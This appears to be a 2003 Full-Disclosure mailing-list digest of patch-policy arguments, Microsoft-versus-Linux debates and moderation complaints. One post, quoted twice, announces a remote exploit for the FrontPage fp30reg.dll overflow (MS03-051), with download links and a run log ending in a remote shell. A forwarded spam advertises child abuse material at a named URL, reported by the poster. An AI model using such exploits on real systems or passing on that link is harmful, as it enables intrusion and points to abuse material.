On Thu, 13 Nov 2003 12:08:41 EST, Robert Davies <[EMAIL PROTECTED]> said: > I am quite bothered out the ass by well paid admins that are too damn lazy > to spend the few minutes it takes to repair a flawed service. Either start > doing your job, or get the hell out of the way for those of us that want to > do the job required properly! Actually, the *original* problem was that the OP *wanted* to apply the patch to fix a flawed service, but was prevented from doing so by a flawed policy. Now tell me - would *you* install the patch anyhow, knowing that (possibly) doing so without all the change-control paperwork being done correctly would mean your ass would be canned and you'd be looking for another job? pgp0.pgp Description: PGP signature
[Full-Disclosure] kievonline.org "were back"
Another unpleasant spam from kievonline.org's hackers Received: from HPPAV.cpe.mtgry.al.charter.com [66.168.255.47] by cybergeneration.com [207.134.66.24] with SMTP (MDaemon.PRO.v5.0.4.R) for <[EMAIL PROTECTED]>; Thu, 13 Nov 2003 11:32:37 -0500 X-Server: Relay for kievonline.org (host) id 002341 Message-ID: <[EMAIL PROTECTED]> From: "admin" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Subject: were back Date: Thu, 13 Nov 2003 18:12:47 +0200 MIME-Version: 1.0 Content-Type: multipart/related; boundary="=_NextPart_000_0005_01C3AA11.BE2A3930"; type="multipart/alternative" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 This is a multi-part message in MIME format. --=_NextPart_000_0005_01C3AA11.BE2A3930 Content-Type: multipart/alternative; boundary="=_NextPart_001_0006_01C3AA11.BE2A3930" --=_NextPart_001_0006_01C3AA11.BE2A3930 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable http://www.kievonline.org/kievforum/login.php The only place for kiddy porn !! we have 3 gig, including the hottest shit in town !!! join now [EMAIL PROTECTED] --=_NextPart_001_000 ... It contains a very disgusting porn image. A notice have been sent to Charter about this. Ciao --- Maxime Ducharme Administrateur reseau, Programmeur ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] SSH Exploit Request
[SNIP] > > > But... He may work for an organization that > > a) makes him responsible for function, and isolated from policy influence > (possibly broken). > > b) in which his manager is politically isolated (broken). > > c) is subject to a DITSCAP-style regime of testing and documentation processes > - - not broken! > > In any case - it is unhelpful an peevishly arrogant to spit out "change your > process." O.K. That may be happening over time. What can I do /now/? > > Not pointing out the obvious - gobbles exploit code - leads to this kind of > meta-thread, which has been the cause of so much grievance to some. > > A simple reply about the exploit and currency would have been entirely on > topic for the list! And of course the gobbles code is old and most likely does not fit the bill for the current need to patch, as was the starting point for the fairly recently secure programming threads. There might not be current sploit code to cover the potential risk his version of openssh/openssl is requiring a patch/fix. Thanks, Ron DuFresne ~~ "Cutting the space budget really restores my faith in humanity. It eliminates dreams, goals, and ideals and lets us get straight to the business of hate, debauchery, and self-annihilation." -- Johnny Hart ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] SSH Exploit Request
> -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of > Robert Davies > Sent: Thursday, November 13, 2003 11:09 AM > To: [EMAIL PROTECTED] > Subject: RE: [Full-Disclosure] SSH Exploit Request > > I am failing to see the logic in some of these issues here... > > A service is flawed in one way or another, patch it! If the > vendor says the service is broke in some way, believe them, > get off your lazy ass and get patching. If you are the admin, > do your job and quit whining! > Never heard the phrase, "Never criticize a man until you've walked a mile in his shoes", Robert? > Since that argument throws about the sniveling of, "We can't > afford the downtime of a server reboot", then think of it > this way, with services such as SSH, a restart of the SSH > Service does NOT shut down the whole server or kill active > connections, instead it's a 2 second lapse where the server > will refuse the connection, in which super important person Z > will just have to rety to connect. > In some people's worlds, they don't get to make those decisions. Yet you would toss them out in the street for incompetence because you are so much more competent? > > I am quite bothered out the ass by well paid admins that are > too damn lazy to spend the few minutes it takes to repair a > flawed service. Either start doing your job, or get the hell > out of the way for those of us that want to do the job > required properly! > I'm equally bothered by people who think they have all the answers and anyone who doesn't think they way they do is incompetent. So, now we're both equally bothered, and yet we haven't accomplished a thing. Frustrating, isn't it, Robert? Maybe we should concentrate on our own problems and let other people solve theirs? Paul Schmehl ([EMAIL PROTECTED]) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu/~pauls/ ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] SSH Exploit Request
This is not a flame!! I'm just wondering if announcing to a list full of people both good, and bad who are able to exploit an old bug that "I have an un-patched system" is good security practice? I got rooted after simply replying to an ass-hole asking "if any one thought they where being spied on by the US Gov" off the list it was an old MDK8.1 box I was trying to keep around just a minuet or two longer and didn't have time to patch properly. (My Bad) My 2 cents Adam On Thursday 13 November 2003 01:03 pm, Jeremiah Cornelius wrote: > On Thu November 13 2003 08:07, [EMAIL PROTECTED] wrote: > > On Thu, 13 Nov 2003 02:18:57 PST, Jeremiah Cornelius said: > > > > > We need to test it before we are permitted to upgrade. Please help. > > > > > > > > Help yourself and redesign your patch management. > > > > > > Yeah. Everyone can do that, smartass. > > > > No, he's right. The OP's environment apparently requires that there be > > testing before they're allowed to upgrade. > > > > That's *broken*. Plain and simple. > > But... He may work for an organization that > > a) makes him responsible for function, and isolated from policy influence > (possibly broken). > > b) in which his manager is politically isolated (broken). > > c) is subject to a DITSCAP-style regime of testing and documentation > processes - not broken! > > In any case - it is unhelpful an peevishly arrogant to spit out "change > your process." O.K. That may be happening over time. What can I do > /now/? > > Not pointing out the obvious - gobbles exploit code - leads to this kind of > meta-thread, which has been the cause of so much grievance to some. > > A simple reply about the exploit and currency would have been entirely on > topic for the list! > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html -- -BEGIN PGP PUBLIC KEY BLOCK- Version: OpenKeyServer v1.2 Comment: Extracted from belgium.keyserver.net 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 =jeF/ -END PGP PUBLIC KEY BLOCK- ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] SSH Exploit Request
Robert Davies wrote: I am failing to see the logic in some of these issues here... A service is flawed in one way or another, patch it! If the vendor says the service is broke in some way, believe them, get off your lazy ass and get patching. If you are the admin, do your job and quit whining! Carefully read the subtext in his note. He would like an exploit if possible (or at least that's his claim) so that he can prove to someone else that yes, it DOES need to be patched, right now. I.e. he's got a boss with pointy hair that isn't cooperating. You don't have to believe his story. Having dealt with many bosses (my own, or someone else's) exactly like that, I'm willing to entertain his story. Calling the admin who wants to apply the patch, but isn't allowed to without jumping through hoops, lazy or stupid doesn't help anyone. BB ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] [Exploit]: Microsoft FPSE fp30reg.dll Overflow Remote Exploit (MS03-051)
your server seems to be too busy, so for the "fans"
the mirror is on k-otik :-)
http://www.k-otik.com/exploits/11.13.fp30reg.c.php
Cheers !
** Stephen - Germany
Adik <[EMAIL PROTECTED]> wrote:
Hello folks,
If anyone is interested in an exploit for recently
announced FPSE fp30reg.dll
overflow bug (MS03-051) by Brett Moore, u can pick it
up at
http://netninja.to.kg
fp30reg.dll overflow ---
C:\fp30reg
-={ Frontpage fp30reg.dll Overflow Exploit (MS03-051)
ver 0.1 }=-
by Adik < netmaniac [at] hotmail.KG >
http://netninja.to.kg
Usage: fp30reg [Target]
eg: fp30reg.exe 192.168.63.130
C:\>fp30reg 192.168.63.130
-={ Frontpage fp30reg.dll Overflow Exploit (MS03-051)
ver 0.1 }=-
by Adik < netmaniac [at] hotmail.KG >
http://netninja.to.kg
[*] Target: 192.168.63.130 Port: 80
[*] Socket initialized...
[*] Checking for presence of fp30reg.dll... Found!
[*] Packet injected!
[*] Sleeping . . . . . . . . . . . . .
[*] Connecting to host: 192.168.63.130 on port
[*] Dropping to shell...
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>
CHeerz,
Adik
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
__
Do you Yahoo!?
Protect your identity with Yahoo! Mail AddressGuard
http://antispam.yahoo.com/whatsnewfree
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Microsoft prepares security assault on Linux
Aloha, Russ! Honey attracts ants, and they're much harder to get rid of than are flies. Ants also set into motion that whole food web thing, bringing in larger and larger pests over time. You should allocate a few more CPU cycles to understanding the real reason that Microsoft has been nice to you over the years. They want something in return. They allow you your little tantrums now and then because they really don't have any effect on their bottom line, and remember the old adage "there's no such thing as negative publicity." Microsoft needs you to keep churning out Microsoft-brand information. The more times Microsoft's products are mentioned, the better. You're part of the media and from what I can tell that's how they've always perceived you -- have they ever perceived you as a developer/book author/technical writer/purchasing agent/distributor/business partner/other for-profit commercial entity? I'm amazed at the degree and scope of thought control that Microsoft has succeeded in creating. Certain tried, tested, and proven thought processes from the information security field are killed as soon as they appear, even outside Microsoft, because they pose real threats to the viability of a company in denial. It is no different from any substance abusing/alcoholic family with the pink elephant in the living room. Sincerely, Jason Russ wrote: Jason said; I wrote an information security book last year under contract with Microsoft Press. The book was never published -- among other things it explains truthfully the poor security condition of Windows and offers detailed instructions and advice for defending against Microsoft's bad business practices and incorrect security decisions. Because maybe a book isn't needed to describe what I describe in 3 pages, 10 points, keystroke by keystroke, button click by button click, documentation. Assuming the requisite files are on hand, it takes less than an hour to "harden" an IIS box against all of this years attacks, and the document was written 2 years ago. Fine, my 3 pages doesn't help "to educate developers of Web applications so that fewer new vulnerabilities would have been created.", but at least mine got published to our customers...;-] Microsoft suppresses awareness of vulnerabilities in order to profit. Funny how they've always encouraged me with NTBugtraq, that would seem to be at odds with your perception of their position. Funny how I once tried to convince them to bury a vulnerability patch in a service pack rather than release a security bulletin, and there was no way they would have it. The old adage, "You catch more flies with honey" seems to often be the opinion of publishers, one reason I've never written a book (no publisher wants to publish a book written the way I write...;-]) Since they're putting the money up, I have to assume they have good stats on the demographics of who will buy it and what the buyer expects. Its their audience, write it for yourself, publish it yourself (as you've done.) That they thought it wasn't going to be profitable (from a publishing perspective) doesn't necessarily mean Microsoft is trying to "suppress awareness of vulnerabilities", it could just mean they didn't think it would sell. Cheers, Russ - Surgeon General of TruSecure Corporation/NTBugtraq Editor ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] Feeding Stray Cats
> -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of > Burnes, James > Sent: Thursday, November 13, 2003 10:19 AM > To: 'Jonathan A. Zdziarski'; Stephen Clowater > Cc: Kryptos; [EMAIL PROTECTED] > Subject: RE: [Full-Disclosure] Feeding Stray Cats > > How about some sort of soft moderation that forwards all > posts, but sets the reply-to on off-topic posts to something > other than the list itself? ? The reply-to is set to poster now. In order to post to the list you either have to reply to all (which many do, unfortunately) or simply reply, remove the OP's adddress and send it to the list (as I have done here.) Don't ask list software to try to do things that simple good sense and reasonableness can do already. Paul Schmehl ([EMAIL PROTECTED]) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu/~pauls/ ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Microsoft prepares security assault on Linux
Aloha, Jim. What in particular makes it "immediately clear" to you why it was never published? Not publishing the book saves Microsoft from sending out conflicting messages when they launch new deceptive advertising campaigns like this one that will assert that Windows poses less of a security risk than does Linux: http://www.infoworld.com/article/03/11/11/HNmsassault_1.html I can assure you the introduction to my book was written when preparing the book for self-publication as a free electronic work and nothing that even closely resembles such direct and harsh criticism of Microsoft was to be found in the manuscript sans-Introduction as submitted to Microsoft for publication. Read a little more of the book if you'd like to get some idea of the prevailing tone and mood, which is nothing short of practical and optimistic. I realized that I had been seriously mistaken in my belief that it was reasonable and respectable to give Microsoft the benefit of the doubt and engage in commercial activities that support their abusive behaviors. Thus I consciously and intentionally changed the tone of my Introduction so that there could be no mistake as to my conclusions; the helpful and technically-accurate Microsoft technical material that I've authored notwithstanding. Just because I know about and have written about Microsoft products that does not mean that I support what they do and how they do it. You might reconsider the way that you portray your support for them, yourself, as part of your professional work. If you would like to debate my assertions, feel free to write back. Microsoft must be stopped. They are harmful and malicious. If you had a little more awareness of what they are and have been doing, and why, then I am certain you would be ashamed to have Microsoft decorations after your name. You realize, don't you, that you can be competent and have skills that are in-demand in the marketplace and still not be a Microsoft crony? You are aligning yourself with the wrong side when you lend PR/marketing/emotional support to Microsoft and its victims. Don't forget that the people you choose to support says a lot about who you are and why you do the things that you do... Reconsider supporting Microsoft; you can make a nice living and hold your certifications without aiding and abetting or lending solace to evildoers. After you write a book about Microsoft security and work for a while in computer forensics, talk to me again about whether or not your silent and tacit support for the company and its bad people sits well in your stomach. Sincerely, Jason Jim Harrison (ISA) wrote: Having followed your link to the "book written under contract", it's immediately clear why it was never published. I won't get into a debate about your assertions; just a reminder that how you choose to express yourself is at least as important as what you have to say. * Jim Harrison MCP(NT4/2K), A+, Network+ Security Business Unit (ISA SE) "I used to hate writing assignments, but now I enjoy them. I realized that the purpose of writing is to inflate weak ideas, obscure poor reasoning, and inhibit clarity. With a little practice, writing can be an intimidating and impenetrable fog!" -Calvin ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] [Exploit]: Microsoft FPSE fp30reg.dll Overflow Remote Exploit (MS03-051)
Hello folks,
If anyone is interested in an exploit for recently announced FPSE fp30reg.dll
overflow bug (MS03-051) by Brett Moore, u can pick it up at
http://netninja.to.kg
fp30reg.dll overflow ---
C:\fp30reg
-={ Frontpage fp30reg.dll Overflow Exploit (MS03-051) ver 0.1 }=-
by Adik < netmaniac [at] hotmail.KG >
http://netninja.to.kg
Usage: fp30reg [Target]
eg: fp30reg.exe 192.168.63.130
C:\>fp30reg 192.168.63.130
-={ Frontpage fp30reg.dll Overflow Exploit (MS03-051) ver 0.1 }=-
by Adik < netmaniac [at] hotmail.KG >
http://netninja.to.kg
[*] Target: 192.168.63.130 Port: 80
[*] Socket initialized...
[*] Checking for presence of fp30reg.dll... Found!
[*] Packet injected!
[*] Sleeping . . . . . . . . . . . . .
[*] Connecting to host: 192.168.63.130 on port
[*] Dropping to shell...
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>
CHeerz,
Adik
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] Feeding Stray Cats
> -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of > Stephen Clowater > Sent: Thursday, November 13, 2003 8:58 AM > To: Jonathan A. Zdziarski > Cc: Kryptos; [EMAIL PROTECTED] > Subject: Re: [Full-Disclosure] Feeding Stray Cats > > If anyone has an open solution, I think it should be posted > to the list > and cc'ed to Len. I think this is one off-topic disscusion > that we need > to have if full disclosure is to reamain a valid forum for > discussing in > a meaningful, restrained, and proffessional manner (pardon my > spelling :) ) > I don't know how long you've been subscribed to this list. I was one of the first. And I can tell you that what you suggest has been stated and restated here ad nauseum ad infinitum. This list *is* a valid forum and always will be precisely *because* it is not moderated. Some people like that. Others do not. If they don't, they're free to leave. The list isn't going anywhere. And since I'm already wasting bandwidth by replying, let me voice my biggest pet peeve to all readers. If you decide you want to leave a list that you're on, just leave. Don't post your parting gripe about why you can't take it any more and the list is going to hell in a hand basket. No one cares. Just move on with your life and spare us the histrionics. *That* one irritates me even more than the dolts who post "How do I unsubscribe" and the idiots who send their OoO messages to the lists. Paul Schmehl ([EMAIL PROTECTED]) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu/~pauls/ ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] SSH Exploit Request
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Thu November 13 2003 08:07, [EMAIL PROTECTED] wrote: > On Thu, 13 Nov 2003 02:18:57 PST, Jeremiah Cornelius said: > > > > > We need to test it before we are permitted to upgrade. Please help. > > > > > > Help yourself and redesign your patch management. > > > > Yeah. Everyone can do that, smartass. > > > No, he's right. The OP's environment apparently requires that there be > testing before they're allowed to upgrade. > > That's *broken*. Plain and simple. > But... He may work for an organization that a) makes him responsible for function, and isolated from policy influence (possibly broken). b) in which his manager is politically isolated (broken). c) is subject to a DITSCAP-style regime of testing and documentation processes - - not broken! In any case - it is unhelpful an peevishly arrogant to spit out "change your process." O.K. That may be happening over time. What can I do /now/? Not pointing out the obvious - gobbles exploit code - leads to this kind of meta-thread, which has been the cause of so much grievance to some. A simple reply about the exploit and currency would have been entirely on topic for the list! -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/s8eCJi2cv3XsiSARArHKAKDq2u91UdBYxMz9RUMkNycgnnS5zgCeM8ks 9j8V9ZJoeQpC3wVFG9Sj+ak= =TGLt -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Re: Funny article
I think it is unfair to categorize linux or windows as having a vulnerability just because an application like apache has a vulnerability. I mean as someone stated earlier, the linux and windows developers have no control over third-party apps. If IIS has bug, that should look bad on microsoft, but not on windows. Ballmer is banking that the people he is talking to do not understand the difference between linux, its distro and windows, this truly comparing apples and oranges. You know what, he is going to get away with it, because most people don't understand. If you were to compare a full redhat 9 install against a full win2k server install, redhat9 would most likely lose, because Redhat9 has many more apps, therefore it is more likely to have bugs. Even if you compared linux, which would be just the kernel and maybe some of the the gnu tools to interact with the kernel vs windows, it is still not fair. Windows has a kernel, gui, everyone's favorite user space app that can not be uninstalled, IE. In this case windows has greater chance of having bugs. Then you have cases with distro specific bugs, which often are categorized as a linux bug. An example of this was the apache config file bug on redhat from last week. That is a redhat bug, not a linux bug, nor is it an apache bug. Slackware did not put that configuration in their apache server configuration. Another comparison that I abhor, is the stability issue. "Linux is more stable than windows". Are you talking about linux with the gui, or without. Running linux without the gui is incredibly stable. Linux with a gui, well stability defintely decreases (but in reality it is not linux's stability in question rather that of the gui). What about openbsd (dont get me wrong I love openbsd), they claim "Only one remote hole in the default install, in more than 7 years!". Well of course, have you ever installed openbsd using the default? The only remotely accessible service is openssh, vs multiple services in a redhat default vs multiple services in a windows default install. I could make my own linux distro with no remote services enabled by default and it would never have a remote hole in the default install. My point being is that it is very hard to compare the bsds, the distros and windows. Bsds and linux are easier to compare, but then you have the distro aspect. As far as patches getting out, I am very happy with the response from the open source community, I think they do an excellent job. I very rarely have a problem with an opensource patch, if the author does not come out with a patch, more than likely someone who has reviewed the code will. Ryan > On Thu, Nov 13, 2003 at 03:20:14AM +0100, Mikael Olsson wrote: > > I'm sorry to disappoint you, but the script kiddies don't care > > about zealotry. I have yet to hear one say "Oh, this is a Linux > > box, so I can't use this Apache bug to own it. That'd be rong." > > > I don't think anybody said a linux box can't be owned with an apache > flaw. My arugemnt for count of bugs is the should be counted against the > people who actually WROTE the code. In Microsofts case it is becasue > they wrote IIS, 2000/XP/2003, and Exchange. In contrast the Linux kernel > projecn that just wrote the kernel. It sounds like you want a list of > opensource bugs vs. Microsoft Bugs. > > > Saying "the linux kernel has only foo bugs while every microsoft > > app combined has foo^3 bugs" makes no sense in a security > > discussion. You don't read mail or serve web pages with a kernel. > > > No one is saying this. To be truely useful a list of bugs should be done > by developer, not by instance of software. This will help establish > trends in my software development practices. > > > Publishing an _unbiased_ report of total vulnerability counts > > for two or more OSes, with common apps installed, is a service > > to admins everywhere. (And no, I _really_ don't think comparing > > RH6 with W2K3 is "unbiased". I think it stinks.) > > > I think blaming OS developers for code they didn't write nor have any > control over isn't unbiased. It would be a diffrent story if it was a > flaw in something like redhat-update. That is clearly a Redhat bug, but > that is still not a Linux bug. > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html Ryan Johnson Security Architect ESP Group 703-418-6317 ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] SSH Exploit Request
I am failing to see the logic in some of these issues here... A service is flawed in one way or another, patch it! If the vendor says the service is broke in some way, believe them, get off your lazy ass and get patching. If you are the admin, do your job and quit whining! Since that argument throws about the sniveling of, "We can't afford the downtime of a server reboot", then think of it this way, with services such as SSH, a restart of the SSH Service does NOT shut down the whole server or kill active connections, instead it's a 2 second lapse where the server will refuse the connection, in which super important person Z will just have to rety to connect. If that is not good enough for you, then think of it another way, while you sit there thinking about if it is reasonable to take the 5 minutes out of your day to compile updated packages and install them as needed, some skript kiddie is going through your server looking for more toys to play with on your network. If the reluctance in patching is due to upsetting someone whom can't afford the downtime, think about your job security after your network is breached and you did not take the initative to repair a critical flaw anyway. I am quite bothered out the ass by well paid admins that are too damn lazy to spend the few minutes it takes to repair a flawed service. Either start doing your job, or get the hell out of the way for those of us that want to do the job required properly! RKD > -Original Message- > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] > Sent: Thursday, November 13, 2003 11:08 AM > To: Jeremiah Cornelius > Cc: [EMAIL PROTECTED] > Subject: Re: [Full-Disclosure] SSH Exploit Request > > On Thu, 13 Nov 2003 02:18:57 PST, Jeremiah Cornelius said: > > > > We need to test it before we are permitted to upgrade. > Please help. > > > Help yourself and redesign your patch management. > > Yeah. Everyone can do that, smartass. > > No, he's right. The OP's environment apparently requires that > there be testing before they're allowed to upgrade. > > That's *broken*. Plain and simple. > > "Testing can reveal the presence of flaws, but not their > absence" - Dijkstra. > > How many people have trouble getting *known* *good* exploits > to run in their environment? Now think hard here - if the > exploit *works*, then yes, you have a problem. But if it > doesn't work, *it doesn't prove the problem is actually > fixed*. So you end up in a situation where you have *known* > vulnerable boxes, and a fix to install, and the fix isn't > being installed because you're busy trying to verify if the > patch actually works, or if you simply have a defective > exploit that would have worked if you had used gcc 2.96 > instead of gcc 3.3 (a > *known* issue for a lot of exploits), or if you had too many > environment variables and something moved around in memory, or > > So let's see.. We have a fix from the vendor/maintainer that > is claimed to fix the problem. The canned exploit doesn't > work. Now, it's POSSIBLE that your exploit is b0rked, the > fix didn't work, and if you changed something the exploit would work. > > Now how much effort are you going to put in to that testing > (assuming that you're qualified to do it), while you have > vulnerable machines in production? > > *That* is why the OP's patching scheme is broken. > ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Re: Funny article
On Thu, 13 Nov 2003 10:08:13 -0600 Frank Knobbe <[EMAIL PROTECTED]> wrote: > On Thu, 2003-11-13 at 08:41, Volker Tanger wrote: > > > Ideally the Apache exe should be running as an unpriviledged user. > > > but then, ideally the IIS server should be running as an > > > unpriviledged user too > > > > Well, running a kernel task is a bit difficult to do unprivileged... > > The reason IIS4+ runs as SYSTEM appears to be to gain performance. I > guess running IIS as a kernel module and having less context switches > does do well for performance (like an Apache LKM), but unfortunately > not for security. > What specific kernel task were you referring to? Sorry, vague wording on my side. I meant exactly the "kernel module" part you mentioned when saying "kernel task". Did not work with IIS for the last few years, so memory suffered (obviously). Bye Volker Tanger ITK-Security ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Eudora 6.0.1 attachment spoof
At 11:40 AM 11/13/2003 +1100, you wrote: print "From: me\n"; [...] print "\n"; To save yourself a little effort in the future, try print <<"EOF"; From: me [...] EOF Cleans up the code a lot. ;-) m5x ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Re: Funny article
On Wed, 12 Nov 2003, Mikael Olsson wrote: > > > [EMAIL PROTECTED] wrote: > > > > Certainly a vulnerability in Apache should not be a strike > > against Linux, should it? > > Of course it should. You don't just "run an OS". Obviously, you > want your machine to actually do something useful. Of course, since apache has been ported to the windows realm, then bugs in apache should be applied against both linux/unix variants as well as M$ OS's. But, when one looks at apache related bugs, one finds that there are some specific to platform, soo this then gets to be a bit of a muster fluck... Thanks, Ron DuFresne ~~ "Cutting the space budget really restores my faith in humanity. It eliminates dreams, goals, and ideals and lets us get straight to the business of hate, debauchery, and self-annihilation." -- Johnny Hart ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] Re: Feeding Stray Cats
> There really is only one way to solve this, and that is to moderate the > list. At least temporarly, until the noise dies down. At which time the > list can be unmoderated agian. Another solution is to ban temporally people who wrotes non-security related posts and spamers. It's bad idea to moderate a list like that. It won't be a "democratic" and usefull list, if only some "gurus" cant wrote. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] Feeding Stray Cats
